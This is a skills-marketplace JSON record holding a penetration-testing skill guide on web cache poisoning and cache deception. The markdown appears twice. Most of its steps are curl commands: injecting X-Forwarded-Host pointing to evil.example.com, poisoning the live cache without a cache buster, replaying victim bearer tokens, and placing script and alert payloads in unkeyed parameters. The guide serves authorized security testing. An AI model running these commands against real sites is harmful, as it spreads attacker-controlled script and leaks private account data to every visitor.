[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GZMPA3R7GK5ADWTFN1WR58":3,"skill-same:01M6GZMPA3R7GK5ADWTFN1WR58":85},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":17,"publishedAt":38,"linkOnly":39,"markdownContent":40,"markdownBody":41,"frontMatter":42,"refName":47,"commitSha":48,"skillDirectory":49,"forksCount":50,"repositoryHtmlUrl":51,"repositoryHomepageUrl":6,"ownerHtmlUrl":52,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":53,"install":54,"resources":67},"01M6GZMPA3R7GK5ADWTFN1WR58","performing-web-cache-poisoning-attack",null,"Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-cache-poisoning-attack\u002FSKILL.md",[],[18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37],"performing","web","cache","performing web cache poisoning attack","burpsuite","headers","penetration","serve","users","tests","cache-poisoning","application-security","testing","web-security","web-application-security","owasp","cdn","cybersecurity","security","malicious","2026-11-10 10:12:30",false,"---\nname: performing-web-cache-poisoning-attack\ndescription: Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.\ndomain: cybersecurity\nsubdomain: web-application-security\ntags: [penetration-testing, cache-poisoning, web-security, cdn, burpsuite, owasp]\nversion: \"1.0\"\nauthor: mahipal\nlicense: Apache-2.0\n---\n\n# Performing Web Cache Poisoning Attack\n\n## When to Use\n\n- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)\n- When assessing web applications for cache-based vulnerabilities that could affect all users\n- For testing whether unkeyed HTTP headers are reflected in cached responses\n- When evaluating cache key behavior and cache deception vulnerabilities\n- During security assessments of applications with aggressive caching policies\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering cache poisoning testing\n- **Burp Suite Professional**: With Param Miner extension for automated unkeyed header discovery\n- **curl**: For manual cache testing with precise header control\n- **Target knowledge**: Understanding of the caching layer (CDN provider, cache headers)\n- **Cache buster**: Unique query parameter to isolate test requests from other users\n- **Caution**: Cache poisoning affects all users; test with cache-busting parameters first\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify the Caching Layer and Behavior\n\nDetermine what caching infrastructure is in use and how the cache key is constructed.\n\n```bash\n# Check cache-related response headers\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)\"\n\n# Common cache indicators:\n# X-Cache: HIT \u002F MISS\n# CF-Cache-Status: HIT \u002F MISS \u002F DYNAMIC (Cloudflare)\n# Age: 120 (seconds since cached)\n# X-Varnish: 12345 67890 (Varnish)\n# Via: 1.1 varnish (Varnish\u002FCDN proxy)\n\n# Determine cache key by testing variations\n# Cache key typically includes: Host + Path + Query string\n\n# Test 1: Same URL, two requests - check if second is cached\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\n# First: MISS, Second: HIT = caching is active\n\n# Test 2: Vary header behavior\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"vary\"\n# Vary: Accept-Encoding means Accept-Encoding is part of cache key\n```\n\n### Step 2: Discover Unkeyed Inputs with Param Miner\n\nUse Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.\n\n```\n# In Burp Suite:\n# 1. Install Param Miner from BApp Store\n# 2. Right-click target request > Extensions > Param Miner > Guess headers\n# 3. Param Miner will test hundreds of HTTP headers\n# 4. Check results in Extender > Extensions > Param Miner > Output\n\n# Common unkeyed headers to test manually:\n# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto\n# X-Original-URL, X-Rewrite-URL\n# X-Host, X-Forwarded-Server\n# Origin, Referer\n# X-Forwarded-For, True-Client-IP\n```\n\n```bash\n# Manual testing for unkeyed header reflection\n# Add cache buster to isolate testing\nCB=\"cachebuster=$(date +%s)\"\n\n# Test X-Forwarded-Host reflection\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"evil.example.com\"\n\n# Test X-Forwarded-Scheme\ncurl -s -H \"X-Forwarded-Scheme: nothttps\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"nothttps\"\n\n# Test X-Original-URL (path override)\ncurl -s -H \"X-Original-URL: \u002Fadmin\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\"\n\n# Test X-Forwarded-Proto\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"http:\u002F\u002F\"\n```\n\n### Step 3: Exploit Unkeyed Header for Cache Poisoning\n\nCraft requests that poison cached responses with malicious content.\n\n```bash\n# Scenario: X-Forwarded-Host reflected in resource URLs\n# Normal response includes: \u003Cscript src=\"https:\u002F\u002Ftarget.example.com\u002Fapp.js\">\n# Poisoned: \u003Cscript src=\"https:\u002F\u002Fevil.example.com\u002Fapp.js\">\n\n# Step 1: Confirm reflection with cache buster\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique123\" | \\\n  grep \"evil.example.com\"\n\n# Step 2: Poison the actual cached page (WITHOUT cache buster)\n# WARNING: This affects all users - only do with explicit authorization\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 3: Verify cache is poisoned\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil.example.com\"\n# If evil.example.com appears, the cache is poisoned\n\n# Attack with X-Forwarded-Proto for HTTP downgrade\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique456\"\n# May cause cached response to include http:\u002F\u002F links, enabling MitM\n\n# Attack with multiple headers\ncurl -s \\\n  -H \"X-Forwarded-Host: evil.example.com\" \\\n  -H \"X-Forwarded-Proto: https\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique789\"\n```\n\n### Step 4: Test Web Cache Deception\n\nTrick the cache into storing authenticated responses for public URLs.\n\n```bash\n# Web Cache Deception attack\n# The cache caches based on file extension (.css, .js, .jpg)\n# If the application ignores path suffixes:\n\n# Step 1: As victim (authenticated), visit:\n# https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Fnonexistent.css\n# If the application returns the profile page (ignoring .css suffix)\n# AND the cache stores it because of .css extension...\n\n# Test application path handling\ncurl -s -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\" | \\\n  grep -i \"email\\|name\\|balance\"\n\n# Step 2: As attacker (unauthenticated), request:\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\"\n# If victim's profile data is returned, cache deception is confirmed\n\n# Test various static extensions\nfor ext in css js jpg png gif ico svg woff woff2 ttf; do\n  echo -n \".$ext: \"\n  curl -s -H \"Authorization: Bearer $TOKEN\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\u002Fx.$ext\"\n  echo\ndone\n\n# Test path confusion patterns\n# \u002Faccount\u002Fsettings%2f..%2fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings\u002F..;\u002Fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings;.css\n```\n\n### Step 5: Test Parameter-Based Cache Poisoning\n\nExploit unkeyed query parameters or parameter parsing differences.\n\n```bash\n# Unkeyed parameter (parameter not in cache key but reflected)\n# Using UTM parameters that are often excluded from cache keys\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F?utm_content=\u003Cscript>alert(1)\u003C\u002Fscript>&cb=$(date +%s)\" | \\\n  grep \"alert\"\n\n# Parameter cloaking via parsing differences\n# Backend sees: callback=evil, Cache key ignores: callback\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fjsonp?callback=alert(1)&cb=$(date +%s)\"\n\n# Fat GET request (body in GET request)\ncurl -s -X GET \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"param=evil_value\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?cb=$(date +%s)\"\n\n# Cache key normalization differences\n# Some caches normalize query string order, some don't\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?a=1&b=2\" # Cached as key1\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?b=2&a=1\" # Same key? Or different?\n\n# Test port-based cache poisoning\ncurl -s -H \"Host: target.example.com:1234\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=$(date +%s)\" | grep \"1234\"\n```\n\n### Step 6: Validate Impact and Clean Up\n\nConfirm the attack impact and ensure poisoned cache entries are cleared.\n\n```bash\n# Verify poisoned cache serves to other users\n# Use a different IP\u002FUser-Agent\u002Fsession to verify\ncurl -s -H \"User-Agent: CacheVerification\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil\"\n\n# Check cache TTL to understand exposure window\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"cache-control\\|max-age\\|s-maxage\"\n# max-age=3600 means poisoned for 1 hour\n\n# Clean up: Force cache refresh\n# Some CDNs allow purging via API\n# Cloudflare: API call to purge cache\n# Varnish: PURGE method\ncurl -s -X PURGE \"https:\u002F\u002Ftarget.example.com\u002F\"\n# Or wait for TTL to expire\n\n# Document the cache poisoning window\n# Start time: when poison request was sent\n# End time: start time + max-age\n# Affected users: all users hitting the cached URL during the window\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Cache Key** | The set of request attributes (host, path, query) used to identify cached responses |\n| **Unkeyed Input** | HTTP headers or parameters not included in the cache key but reflected in responses |\n| **Cache Poisoning** | Injecting malicious content into cached responses that are served to other users |\n| **Cache Deception** | Tricking the cache into storing authenticated\u002Fprivate responses as public content |\n| **Vary Header** | HTTP header specifying which request headers should be included in the cache key |\n| **Cache Buster** | A unique query parameter used to prevent affecting the real cache during testing |\n| **TTL (Time to Live)** | Duration a cached response remains valid before being refreshed |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and cache behavior analysis |\n| **Param Miner (Burp Extension)** | Automated discovery of unkeyed HTTP headers and parameters |\n| **Web Cache Vulnerability Scanner** | Automated cache poisoning detection tool |\n| **curl** | Manual HTTP request crafting with precise header control |\n| **Varnishlog** | Varnish cache debugging and log analysis |\n| **CDN-specific tools** | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics |\n\n## Common Scenarios\n\n### Scenario 1: X-Forwarded-Host Script Injection\nThe application reflects the `X-Forwarded-Host` header in script src URLs. This header is not part of the cache key. Sending a request with `X-Forwarded-Host: evil.com` poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.\n\n### Scenario 2: Web Cache Deception on Account Page\nA Cloudflare-cached application ignores unknown path segments. Requesting `\u002Faccount\u002Fprofile\u002Flogo.png` returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.\n\n### Scenario 3: Parameter-Based XSS via Cache\nUTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting `\u003Cscript>` tags via `utm_content` parameter poisons the cache with stored XSS affecting all visitors.\n\n### Scenario 4: CDN Cache Poisoning via Host Header\nMultiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.\n\n## Output Format\n\n```\n## Web Cache Poisoning Finding\n\n**Vulnerability**: Web Cache Poisoning via Unkeyed Header\n**Severity**: High (CVSS 8.6)\n**Location**: X-Forwarded-Host header on all pages\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Cache Configuration\n| Property | Value |\n|----------|-------|\n| CDN\u002FCache | Cloudflare |\n| Cache-Control | max-age=3600, public |\n| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |\n| Affected Pages | All HTML pages (\u002F*.html) |\n\n### Reproduction Steps\n1. Send request with X-Forwarded-Host: evil.example.com\n2. Response includes: \u003Clink href=\"https:\u002F\u002Fevil.example.com\u002Fstyle.css\">\n3. This response is cached by Cloudflare for 3600 seconds\n4. All subsequent visitors receive the poisoned response\n\n### Impact\n- JavaScript execution in all users' browsers (via poisoned script src)\n- Credential theft, session hijacking, defacement\n- Affects estimated 50,000 daily visitors during 1-hour cache window\n- Can be re-poisoned continuously for persistent attack\n\n### Recommendation\n1. Include X-Forwarded-Host and similar headers in the cache key via Vary header\n2. Do not reflect unkeyed headers in response content\n3. Configure the cache to strip unknown headers before forwarding to origin\n4. Use application-level hardcoded base URLs instead of deriving from headers\n5. Implement cache key normalization to prevent key manipulation\n```\n","# Performing Web Cache Poisoning Attack\n\n## When to Use\n\n- During authorized penetration tests when the application uses CDN or reverse proxy caching (Cloudflare, Akamai, Varnish, Nginx)\n- When assessing web applications for cache-based vulnerabilities that could affect all users\n- For testing whether unkeyed HTTP headers are reflected in cached responses\n- When evaluating cache key behavior and cache deception vulnerabilities\n- During security assessments of applications with aggressive caching policies\n\n## Prerequisites\n\n- **Authorization**: Written penetration testing agreement explicitly covering cache poisoning testing\n- **Burp Suite Professional**: With Param Miner extension for automated unkeyed header discovery\n- **curl**: For manual cache testing with precise header control\n- **Target knowledge**: Understanding of the caching layer (CDN provider, cache headers)\n- **Cache buster**: Unique query parameter to isolate test requests from other users\n- **Caution**: Cache poisoning affects all users; test with cache-busting parameters first\n\n\n> **Legal Notice:** This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.\n\n## Workflow\n\n### Step 1: Identify the Caching Layer and Behavior\n\nDetermine what caching infrastructure is in use and how the cache key is constructed.\n\n```bash\n# Check cache-related response headers\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -iE \\\n  \"(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)\"\n\n# Common cache indicators:\n# X-Cache: HIT \u002F MISS\n# CF-Cache-Status: HIT \u002F MISS \u002F DYNAMIC (Cloudflare)\n# Age: 120 (seconds since cached)\n# X-Varnish: 12345 67890 (Varnish)\n# Via: 1.1 varnish (Varnish\u002FCDN proxy)\n\n# Determine cache key by testing variations\n# Cache key typically includes: Host + Path + Query string\n\n# Test 1: Same URL, two requests - check if second is cached\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002Fpage?cachebuster=test1\" | grep -i \"x-cache\"\n# First: MISS, Second: HIT = caching is active\n\n# Test 2: Vary header behavior\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"vary\"\n# Vary: Accept-Encoding means Accept-Encoding is part of cache key\n```\n\n### Step 2: Discover Unkeyed Inputs with Param Miner\n\nUse Burp's Param Miner to find headers and parameters not included in the cache key but reflected in responses.\n\n```\n# In Burp Suite:\n# 1. Install Param Miner from BApp Store\n# 2. Right-click target request > Extensions > Param Miner > Guess headers\n# 3. Param Miner will test hundreds of HTTP headers\n# 4. Check results in Extender > Extensions > Param Miner > Output\n\n# Common unkeyed headers to test manually:\n# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto\n# X-Original-URL, X-Rewrite-URL\n# X-Host, X-Forwarded-Server\n# Origin, Referer\n# X-Forwarded-For, True-Client-IP\n```\n\n```bash\n# Manual testing for unkeyed header reflection\n# Add cache buster to isolate testing\nCB=\"cachebuster=$(date +%s)\"\n\n# Test X-Forwarded-Host reflection\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"evil.example.com\"\n\n# Test X-Forwarded-Scheme\ncurl -s -H \"X-Forwarded-Scheme: nothttps\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"nothttps\"\n\n# Test X-Original-URL (path override)\ncurl -s -H \"X-Original-URL: \u002Fadmin\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\"\n\n# Test X-Forwarded-Proto\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?$CB\" | grep \"http:\u002F\u002F\"\n```\n\n### Step 3: Exploit Unkeyed Header for Cache Poisoning\n\nCraft requests that poison cached responses with malicious content.\n\n```bash\n# Scenario: X-Forwarded-Host reflected in resource URLs\n# Normal response includes: \u003Cscript src=\"https:\u002F\u002Ftarget.example.com\u002Fapp.js\">\n# Poisoned: \u003Cscript src=\"https:\u002F\u002Fevil.example.com\u002Fapp.js\">\n\n# Step 1: Confirm reflection with cache buster\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique123\" | \\\n  grep \"evil.example.com\"\n\n# Step 2: Poison the actual cached page (WITHOUT cache buster)\n# WARNING: This affects all users - only do with explicit authorization\ncurl -s -H \"X-Forwarded-Host: evil.example.com\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\"\n\n# Step 3: Verify cache is poisoned\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil.example.com\"\n# If evil.example.com appears, the cache is poisoned\n\n# Attack with X-Forwarded-Proto for HTTP downgrade\ncurl -s -H \"X-Forwarded-Proto: http\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique456\"\n# May cause cached response to include http:\u002F\u002F links, enabling MitM\n\n# Attack with multiple headers\ncurl -s \\\n  -H \"X-Forwarded-Host: evil.example.com\" \\\n  -H \"X-Forwarded-Proto: https\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=unique789\"\n```\n\n### Step 4: Test Web Cache Deception\n\nTrick the cache into storing authenticated responses for public URLs.\n\n```bash\n# Web Cache Deception attack\n# The cache caches based on file extension (.css, .js, .jpg)\n# If the application ignores path suffixes:\n\n# Step 1: As victim (authenticated), visit:\n# https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Fnonexistent.css\n# If the application returns the profile page (ignoring .css suffix)\n# AND the cache stores it because of .css extension...\n\n# Test application path handling\ncurl -s -H \"Authorization: Bearer $VICTIM_TOKEN\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\" | \\\n  grep -i \"email\\|name\\|balance\"\n\n# Step 2: As attacker (unauthenticated), request:\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fprofile\u002Ftest.css\"\n# If victim's profile data is returned, cache deception is confirmed\n\n# Test various static extensions\nfor ext in css js jpg png gif ico svg woff woff2 ttf; do\n  echo -n \".$ext: \"\n  curl -s -H \"Authorization: Bearer $TOKEN\" \\\n    -o \u002Fdev\u002Fnull -w \"%{http_code} %{size_download}\" \\\n    \"https:\u002F\u002Ftarget.example.com\u002Faccount\u002Fsettings\u002Fx.$ext\"\n  echo\ndone\n\n# Test path confusion patterns\n# \u002Faccount\u002Fsettings%2f..%2fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings\u002F..;\u002Fstatic\u002Fstyle.css\n# \u002Faccount\u002Fsettings;.css\n```\n\n### Step 5: Test Parameter-Based Cache Poisoning\n\nExploit unkeyed query parameters or parameter parsing differences.\n\n```bash\n# Unkeyed parameter (parameter not in cache key but reflected)\n# Using UTM parameters that are often excluded from cache keys\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002F?utm_content=\u003Cscript>alert(1)\u003C\u002Fscript>&cb=$(date +%s)\" | \\\n  grep \"alert\"\n\n# Parameter cloaking via parsing differences\n# Backend sees: callback=evil, Cache key ignores: callback\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fjsonp?callback=alert(1)&cb=$(date +%s)\"\n\n# Fat GET request (body in GET request)\ncurl -s -X GET \\\n  -H \"Content-Type: application\u002Fx-www-form-urlencoded\" \\\n  -d \"param=evil_value\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002Fpage?cb=$(date +%s)\"\n\n# Cache key normalization differences\n# Some caches normalize query string order, some don't\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?a=1&b=2\" # Cached as key1\ncurl -s \"https:\u002F\u002Ftarget.example.com\u002Fpage?b=2&a=1\" # Same key? Or different?\n\n# Test port-based cache poisoning\ncurl -s -H \"Host: target.example.com:1234\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F?cb=$(date +%s)\" | grep \"1234\"\n```\n\n### Step 6: Validate Impact and Clean Up\n\nConfirm the attack impact and ensure poisoned cache entries are cleared.\n\n```bash\n# Verify poisoned cache serves to other users\n# Use a different IP\u002FUser-Agent\u002Fsession to verify\ncurl -s -H \"User-Agent: CacheVerification\" \\\n  \"https:\u002F\u002Ftarget.example.com\u002F\" | grep \"evil\"\n\n# Check cache TTL to understand exposure window\ncurl -s -I \"https:\u002F\u002Ftarget.example.com\u002F\" | grep -i \"cache-control\\|max-age\\|s-maxage\"\n# max-age=3600 means poisoned for 1 hour\n\n# Clean up: Force cache refresh\n# Some CDNs allow purging via API\n# Cloudflare: API call to purge cache\n# Varnish: PURGE method\ncurl -s -X PURGE \"https:\u002F\u002Ftarget.example.com\u002F\"\n# Or wait for TTL to expire\n\n# Document the cache poisoning window\n# Start time: when poison request was sent\n# End time: start time + max-age\n# Affected users: all users hitting the cached URL during the window\n```\n\n## Key Concepts\n\n| Concept | Description |\n|---------|-------------|\n| **Cache Key** | The set of request attributes (host, path, query) used to identify cached responses |\n| **Unkeyed Input** | HTTP headers or parameters not included in the cache key but reflected in responses |\n| **Cache Poisoning** | Injecting malicious content into cached responses that are served to other users |\n| **Cache Deception** | Tricking the cache into storing authenticated\u002Fprivate responses as public content |\n| **Vary Header** | HTTP header specifying which request headers should be included in the cache key |\n| **Cache Buster** | A unique query parameter used to prevent affecting the real cache during testing |\n| **TTL (Time to Live)** | Duration a cached response remains valid before being refreshed |\n\n## Tools & Systems\n\n| Tool | Purpose |\n|------|---------|\n| **Burp Suite Professional** | Request interception and cache behavior analysis |\n| **Param Miner (Burp Extension)** | Automated discovery of unkeyed HTTP headers and parameters |\n| **Web Cache Vulnerability Scanner** | Automated cache poisoning detection tool |\n| **curl** | Manual HTTP request crafting with precise header control |\n| **Varnishlog** | Varnish cache debugging and log analysis |\n| **CDN-specific tools** | Cloudflare Analytics, Akamai Pragma headers for cache diagnostics |\n\n## Common Scenarios\n\n### Scenario 1: X-Forwarded-Host Script Injection\nThe application reflects the `X-Forwarded-Host` header in script src URLs. This header is not part of the cache key. Sending a request with `X-Forwarded-Host: evil.com` poisons the cache to load JavaScript from the attacker's server for all subsequent visitors.\n\n### Scenario 2: Web Cache Deception on Account Page\nA Cloudflare-cached application ignores unknown path segments. Requesting `\u002Faccount\u002Fprofile\u002Flogo.png` returns the account page while Cloudflare caches it as a static image. Any unauthenticated user can then access the cached account page.\n\n### Scenario 3: Parameter-Based XSS via Cache\nUTM tracking parameters are excluded from the cache key but rendered in the page HTML. Injecting `\u003Cscript>` tags via `utm_content` parameter poisons the cache with stored XSS affecting all visitors.\n\n### Scenario 4: CDN Cache Poisoning via Host Header\nMultiple applications are behind the same CDN. Manipulating the Host header causes the CDN to cache a response from one application under another application's cache key.\n\n## Output Format\n\n```\n## Web Cache Poisoning Finding\n\n**Vulnerability**: Web Cache Poisoning via Unkeyed Header\n**Severity**: High (CVSS 8.6)\n**Location**: X-Forwarded-Host header on all pages\n**OWASP Category**: A05:2021 - Security Misconfiguration\n\n### Cache Configuration\n| Property | Value |\n|----------|-------|\n| CDN\u002FCache | Cloudflare |\n| Cache-Control | max-age=3600, public |\n| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |\n| Affected Pages | All HTML pages (\u002F*.html) |\n\n### Reproduction Steps\n1. Send request with X-Forwarded-Host: evil.example.com\n2. Response includes: \u003Clink href=\"https:\u002F\u002Fevil.example.com\u002Fstyle.css\">\n3. This response is cached by Cloudflare for 3600 seconds\n4. All subsequent visitors receive the poisoned response\n\n### Impact\n- JavaScript execution in all users' browsers (via poisoned script src)\n- Credential theft, session hijacking, defacement\n- Affects estimated 50,000 daily visitors during 1-hour cache window\n- Can be re-poisoned continuously for persistent attack\n\n### Recommendation\n1. Include X-Forwarded-Host and similar headers in the cache key via Vary header\n2. Do not reflect unkeyed headers in response content\n3. Configure the cache to strip unknown headers before forwarding to origin\n4. Use application-level hardcoded base URLs instead of deriving from headers\n5. Implement cache key normalization to prevent key manipulation\n```\n",{"name":5,"tags":43,"author":45,"domain":35,"license":14,"version":46,"subdomain":32,"description":7},[44,28,31,34,22,33],"penetration-testing","mahipal","1.0","master","3f5d983eb4ef375b749adcd6b07ec03bd82ae8a8","_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-cache-poisoning-attack",0,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills","https:\u002F\u002Fgithub.com\u002Fmicsapp","2026-03-20 11:24:18",{"source":8,"skillName":5,"commands":55,"prompt":65,"zipAvailable":66},[56,59,62],{"tool":57,"command":58},"npx","npx skills add micsapp\u002Fmicstec-skills --skill performing-web-cache-poisoning-attack",{"tool":60,"command":61},"bunx","bunx skills add micsapp\u002Fmicstec-skills --skill performing-web-cache-poisoning-attack",{"tool":63,"command":64},"pnpm","pnpm dlx skills add micsapp\u002Fmicstec-skills --skill performing-web-cache-poisoning-attack","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-cache-poisoning-attack\u002FSKILL.md",true,[68,73,79],{"path":69,"resourceType":69,"resourceTypeDesc":70,"sizeBytes":71,"sourceHtmlUrl":72},"LICENSE","许可证",11255,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-cache-poisoning-attack\u002FLICENSE",{"path":74,"resourceType":75,"resourceTypeDesc":76,"sizeBytes":77,"sourceHtmlUrl":78},"references\u002Fapi-reference.md","REFERENCE","参考文档",2166,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-cache-poisoning-attack\u002Freferences\u002Fapi-reference.md",{"path":80,"resourceType":81,"resourceTypeDesc":82,"sizeBytes":83,"sourceHtmlUrl":84},"scripts\u002Fagent.py","SCRIPT","脚本",8080,"https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Fperforming-web-cache-poisoning-attack\u002Fscripts\u002Fagent.py",[86,114,136,155,172,197],{"skillNo":87,"name":88,"nameZh":6,"description":89,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":91,"categories":92,"keywords":93,"publishedAt":38},"01M6HBTJ02FXBFG9NYEHHYAP52","azure-apim-architecture","Analyzes and explains Azure API Management architecture decisions for enterprise API marketplace implementations using VNet Internal mode, Front Door, hybrid authentication, and multi-environment strategies. Use when discussing APIM component selection, network topology, cost optimization, or comparing alternatives like workspaces vs instances, VNet Internal vs External mode, or Front Door vs Application Gateway.","MIT","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002Fcopilot-cli\u002Fcopilot-agent-skills\u002F.github\u002Fskills\u002Fazure-apim-architecture\u002FSKILL.md",[],[94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113],"architecture","azure","azure apim architecture","component","authentication","gateway","topology","Optimization","network","api","team","environment","multi-environment","workspaces","instances","selection","strategies","azure api management","mode","for",{"skillNo":115,"name":116,"nameZh":6,"description":117,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":90,"licenseFileUrl":6,"sourceHtmlUrl":118,"categories":119,"keywords":120,"publishedAt":38},"01M6HBT7J4H082JEEA670B3EQ9","apiops-deployment","Guides 